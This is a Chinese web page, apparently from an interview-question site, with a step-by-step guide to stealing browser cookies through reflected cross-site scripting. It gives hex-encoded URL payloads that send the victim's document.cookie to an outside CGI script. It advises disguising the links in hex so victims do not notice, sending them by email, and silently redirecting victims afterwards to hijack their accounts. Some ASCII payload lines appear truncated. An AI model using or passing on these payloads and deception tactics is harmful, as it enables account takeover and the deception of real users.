能否解释一下XSS cookie盗窃是什么意思


Posted in 面试题 onJune 02, 2012
根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。
第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。
第二步: 测试

不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable=”>

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。

1. “>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. >

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。
第四步: 处理收集到的信息

一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。

Tags in this post...

面试题 相关文章推荐
Weblogc domain问题
Jan 27 面试题
Java多态性的定义以及类型
Sep 16 面试题
分解成质因数(如435234=251*17*17*3*2,据说是华为笔试题)
Jul 16 面试题
What is view? why do we have view?
Jun 22 面试题
值类型与引用类型有什么不同?请举例说明?并分别列举几种相应的数据类型
Oct 24 面试题
Linux内核产生并发的原因
Jul 13 面试题
Linux管理员面试题 Linux admin interview questions
Jul 08 面试题
介绍一下RMI的基本概念
Dec 17 面试题
什么是GWT的Module
Jan 20 面试题
Python如何定义一个函数
Sep 01 面试题
Java面试题:为什么要用Java
May 11 面试题
Servlet面试题库
Jul 18 面试题
什么是跨站脚本攻击
Dec 11 #面试题
金士达面试非笔试
Mar 14 #面试题
傲盾软件面试题
Aug 17 #面试题
网络安全类面试题
Aug 01 #面试题
如何保障Web服务器安全
May 05 #面试题
介绍一下如何利用路径遍历进行攻击及如何防范
Jan 19 #面试题
SQL注入攻击的种类有哪些
Dec 30 #面试题
You might like
PHP实现网上点歌(二)
2006/10/09 PHP
php preg_filter执行一个正则表达式搜索和替换
2012/02/27 PHP
使用Apache的htaccess防止图片被盗链的解决方法
2013/04/27 PHP
PHP+jQuery实现自动补全功能源码
2013/05/15 PHP
php快递单号查询接口使用示例
2014/05/05 PHP
HTML页面如何象ASP一样接受参数
2007/02/07 Javascript
jquery学习笔记二 实现可编辑的表格
2010/04/09 Javascript
js判断是否为ie的方法小结
2014/01/13 Javascript
js限制文本框的输入内容代码分享(3类)
2015/08/20 Javascript
Bootstrap表单布局样式源代码
2016/07/04 Javascript
JavaScript使用ZeroClipboard操作剪切板
2017/05/10 Javascript
基于daterangepicker日历插件使用参数注意的问题
2017/08/10 Javascript
JS实现显示当前日期的实例代码
2018/07/03 Javascript
发布一款npm包帮助理解npm的使用
2019/01/03 Javascript
微信小程序 高德地图路线规划实现过程详解
2019/08/05 Javascript
VUE和Antv G6实现在线拓扑图编辑操作
2020/10/28 Javascript
解决vue props传Array/Object类型值,子组件报错的情况
2020/11/07 Javascript
python实现dict版图遍历示例
2014/02/19 Python
python中base64加密解密方法实例分析
2015/05/16 Python
python xml.etree.ElementTree遍历xml所有节点实例详解
2016/12/04 Python
Python读取MRI并显示为灰度图像实例代码
2018/01/03 Python
PyQt5每天必学之布局管理
2018/04/19 Python
selenium+python实现自动登录脚本
2018/04/22 Python
Python爬取个人微信朋友信息操作示例
2018/08/03 Python
从DataFrame中提取出Series或DataFrame对象的方法
2018/11/10 Python
汇集了世界上最好的天然和有机美容产品:LoveLula
2018/02/05 全球购物
菲律宾最大的网上花店和礼品店:PhilFlower.com
2018/02/09 全球购物
Weblogic和WebSphere不同特点
2012/05/09 面试题
初一体育教学反思
2014/01/29 职场文书
《青山处处埋忠骨》教学反思
2014/04/22 职场文书
安全生产知识竞赛活动总结
2014/07/07 职场文书
反四风对照检查材料思想汇报
2014/09/16 职场文书
英语投诉信范文
2015/07/03 职场文书
百年校庆宣传标语口号
2015/12/26 职场文书
2016教师暑期培训学习心得体会
2016/01/09 职场文书
2016年国庆节67周年活动总结
2016/04/01 职场文书